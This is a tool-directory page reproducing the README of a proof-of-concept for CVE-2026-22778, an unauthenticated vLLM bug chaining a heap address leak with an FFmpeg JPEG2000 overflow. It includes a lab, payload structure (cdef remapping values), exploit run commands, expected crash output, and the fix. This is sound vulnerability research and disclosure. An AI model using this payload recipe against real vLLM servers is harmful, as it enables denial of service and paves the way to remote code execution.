Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EXPLOIT-CVE-2026-22778 — Proof-of-concept exploit for CVE-2026-22778, an unauthenticated RCE in vLLM's video processing, demonstrating heap address disclosure and a heap buffer overflow in FFmpeg's JPEG2000 decoder. Includes a vulnerable lab for authorized testing. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-22778
Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHub
joaovicdev/exploit-cve-2026-22778

EXPLOIT-CVE-2026-22778

Proof-of-concept exploit for CVE-2026-22778, an unauthenticated RCE in vLLM's video processing, demonstrating heap address disclosure and a heap buffer overflow in FFmpeg's JPEG2000 decoder. Includes a vulnerable lab for authorized testing.

View Repository
19h 11m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-22778 — vLLM RCE in video processing

Vulnerable lab + proof of concept for CVE-2026-22778 (CVSS 9.8), an unauthenticated remote code execution chain in vLLM's multimodal ingestion path.

CVECVE-2026-22778
AdvisoryGHSA-4r2x-xpjr-7cvv
AffectedvLLM >= 0.8.3, < 0.14.1 (deployments serving video models)
Fixed invLLM 0.14.1
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Underlying bugCVE-2025-9951 — heap buffer overflow in FFmpeg's JPEG2000 decoder

The vulnerability

Two separate flaws chained together. A default vllm serve has no authentication, so both are reachable pre-auth on /v1/chat/completions and /v1/invocations.

Stage 1 — heap address disclosure (ASLR bypass)

When an image fails to parse, Pillow raises an exception whose message embeds the repr() of the BytesIO object it was reading from:

root@kitploit:~
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>

vLLM turned media-loading failures into an HTTP 400 and returned exc.detail to the client untouched (api_server.py):

root@kitploit:~
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          # <-- leaks the address verbatim
            ...

That single address collapses heap ASLR from ~32 bits of entropy to roughly 3, which is what makes stage 2 exploitable rather than just a crash.

Stage 2 — heap buffer overflow in the JPEG2000 decoder

A video_url is fetched by the server and handed to OpenCV:

root@kitploit:~
MediaConnector.load_from_url()      vllm/multimodal/utils.py
  -> OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (bundled in opencv-python-headless < 4.13)

vLLM pinned opencv-python-headless >= 4.11.0, which ships FFmpeg 5.1.x. Its JPEG2000 decoder picks the destination plane straight out of the file's channel-definition (cdef) box — libavcodec/jpeg2000dec.c, write_frame_8:

root@kitploit:~
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* from the component  */
int h = tile->comp[compno].coord[1][1] - ...;   /* not from the plane! */

plane is attacker-controlled but w/h come from the component being decoded, and nothing checks that one fits in the other. A cdef entry of cn=0, asoc=2 sends component 0 — the full-resolution luma plane — into plane 1, the 2×2-subsampled chroma plane.

For the 150×64 frame this PoC uses:

size
Y component (written)150 × 64 = 9,600 bytes
U plane (destination)75 × 32 = 2,400 bytes
Overflow7,200 bytes past the allocation

FFmpeg allocates each plane as its own AVBuffer, so the overflow runs through adjacent heap chunks — including AVBuffer structs holding a free function pointer. Combined with the leak from stage 1, overwriting that pointer is what turns the corruption into code execution.

This PoC stops at the memory corruption. It proves the out-of-bounds write by killing the server process. Heap grooming and the function-pointer overwrite are deliberately not implemented.

The lab

lab/app.py is a minimal reimplementation of the multimodal ingestion path of vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend and the pre-patch error handler, each annotated with the upstream file it mirrors. The model runtime is stubbed out: the vulnerability lives entirely in media ingestion, which runs before inference and needs no GPU or model weights.

Everything on the attack path is the real thing — the same Pillow call that leaks the address, and the same cv2.VideoCapture call into an unpatched opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100).

Usage

root@kitploit:~
docker compose up -d --build
python3 exploit.py

Options:

root@kitploit:~
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # deliver the payload over HTTP
python3 exploit.py --write-payload evil.jp2 # just write the malicious file

The exploit is pure standard library — no dependencies.

Expected output

root@kitploit:~
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.

[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
    Request never completed: Remote end closed connection without response
    Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.

And the server side:

root@kitploit:~
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]

Teardown:

root@kitploit:~
docker compose down

The payload

203 bytes, built from scratch in build_payload(). A JP2 container holding a minimal JPEG2000 codestream that declares three components at 4:2:0 subsampling (so FFmpeg allocates a yuv420p frame), plus a cdef box that remaps them:

root@kitploit:~
cn=0, typ=0, asoc=2   <-- component 0 (full res) into plane 1 (subsampled)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3

The coefficient data is empty. The decoder still allocates the frame from the SIZ header and still runs the write loop, so no real image data is needed.

Fix

vLLM 0.14.1, via three PRs:

  • #31987 — adds sanitize_message(), stripping at 0x<addr>> from object reprs before they reach the client.
  • #32319 — routes the remaining error paths through it.
  • #32668 — bumps opencv-python-headless to >= 4.13.0, picking up the FFmpeg fix for CVE-2025-9951.

Upstream FFmpeg now rejects a cdef map that is not a permutation of the channels, and derives the pixel format from the remapped indices:

root@kitploit:~
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
    cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;

Swapping the lab's pin to opencv-python-headless>=4.13.0 makes the same payload fail harmlessly with error during processing marker segment ff51.

If you cannot upgrade: don't serve video models, put authentication in front of the API, and restrict media fetching with --allowed-media-domains.

Notes

  • The lab restarts automatically after each crash, so the PoC can be run repeatedly.
  • On Apple Silicon, let docker compose build for the native arm64 architecture (the default). Forcing --platform linux/amd64 runs the container under emulation, where the aborting process hangs instead of exiting and the crash is harder to observe.

References

  • NVD — CVE-2026-22778
  • vLLM advisory — GHSA-4r2x-xpjr-7cvv
  • FFmpeg advisory — GHSA-39q3-f8jq-v6mg (CVE-2025-9951)

Disclaimer

For education and authorized security testing only. Run it against the lab in this repository or systems you have explicit permission to test.

Download Tool